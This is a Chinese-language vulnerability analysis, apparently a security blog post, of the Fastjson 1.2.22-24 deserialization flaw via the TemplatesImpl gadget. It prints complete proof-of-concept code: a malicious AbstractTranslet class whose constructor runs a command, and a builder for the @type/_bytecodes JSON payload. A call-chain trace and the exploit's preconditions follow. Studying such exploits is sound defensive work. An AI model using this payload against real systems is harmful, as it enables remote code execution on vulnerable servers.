Fastjson 1.2.22-24 反序列化漏洞分析（1）

前言

FastJson是alibaba的一款开源JSON解析库，可用于将Java对象转换为其JSON表示形式，也可以用于将JSON字符串转换为等效的Java对象。

影响版本：1.2.22-24

官方通告：https://github.com/alibaba/fastjson/wiki/security_update_20170315

补丁：https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

漏洞分析

实验环境：jdk8u121

创建一个恶意类EvilPayload，继承AbstractTranslet

package com.yy.FastJson.payload01;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilPayload extends AbstractTranslet {
    public EvilPayload() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public static void main(String[] args) throws IOException {
        EvilPayload t = new EvilPayload();
    }
}

新建一个Poc类

package com.yy.FastJson.payload01;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class Poc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        String result = Base64.encodeBase64String(bos.toByteArray());
        return result;
    }
    public static void bad_method() {
        ParserConfig config = new ParserConfig();
        String evil_path = "D:\\study\\java\\code\\vuln-master\\src\\main\\java\\com\\yy\\FastJson\\payload01\\EvilPayload.class";
        String evil_code = readClass(evil_path);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String json = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "'_name':'yang'," +
                "'_tfactory':{}," +
                "\"_outputProperties\":{}}\n";
        System.out.println(json);
        Object obj = JSON.parseObject(json,Feature.SupportNonPublicField);
    }
    public static void main(String args[]) {
        bad_method();
    }
}

上面生成的text1为：

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAAD...这里是EvilPayload.class的字节码文件转换成base64的字符串"],'_name':'yang','_tfactory':{ },"_outputProperties":{ }}

解析：

Poc类中的readClass方法，把class文件读取，然后进行base64编码变成字符串。

@type后面指定了反序列化的类为TemplatesImpl类，其类的属性

_bytecodes设置为恶意类
_name设置为yang
_tfactory设置为空
_outputProperties也为空

这个poc利用的就是parseObject或者parse

poc调试：

这个调用链的入口是getOutputProperties方法，其中的Getter方法满足加入fieldList[]列表的条件，所以无论是用parseObject还是parse都会调用get方法

前面在fastjson中，会把evil_code进行base64解码后设置给_bytecodes

把断点下到newTransformer().getOutputProperties()

跟进newTransformer()方法，其调用了getTransletInstance()方法

跟进getTransletInstance()方法，其_class为null，所以会调用到defineTransletClasses()方法

跟进defineTransletClasses()方法

这个方法调用了defineClass()方法，可以从byte[]还原出一个Class对象，Class对象在调用newInstance()方法就会进行实例化

回到getTransletInstance()方法中，进行了newInstance()实例化，然后就会调用其构造方法触发执行。

注意点：

1）TemplatesImpl中_name的值不为null，才会调用到defineTransletClasses

2）_bytecodes为null会报异常

3）_tfactory会调用getExternalExtensionsMap()方法，如果为null会报错

_tfactory是在fastjson中被赋值的

图片来源：https://blog.csdn.net/qq_34101364/article/details/111706189

4）恶意类要继承AbstractTranslet类，因为这里会进行类型转换

总结：

fastjson在反序列化过程中，会getOutputProperties()方法，最后调用到newInstance()方法就会进行实例化触发构造函数的执行。

无论通过fastjson哪种方式解析json字符串，都会触发getOutputProperties()方法，但要注意的是，前提是开发需要代码中写了Feature.SupportNonPublicField选项，导致了利用点更加的苛刻。

参考：

https://www.anquanke.com/post/id/211035#h2-5

https://blog.csdn.net/qq_34101364/article/details/111706189

https://www.cnblogs.com/sijidou/p/13121332.html?ivk_sa=1024320u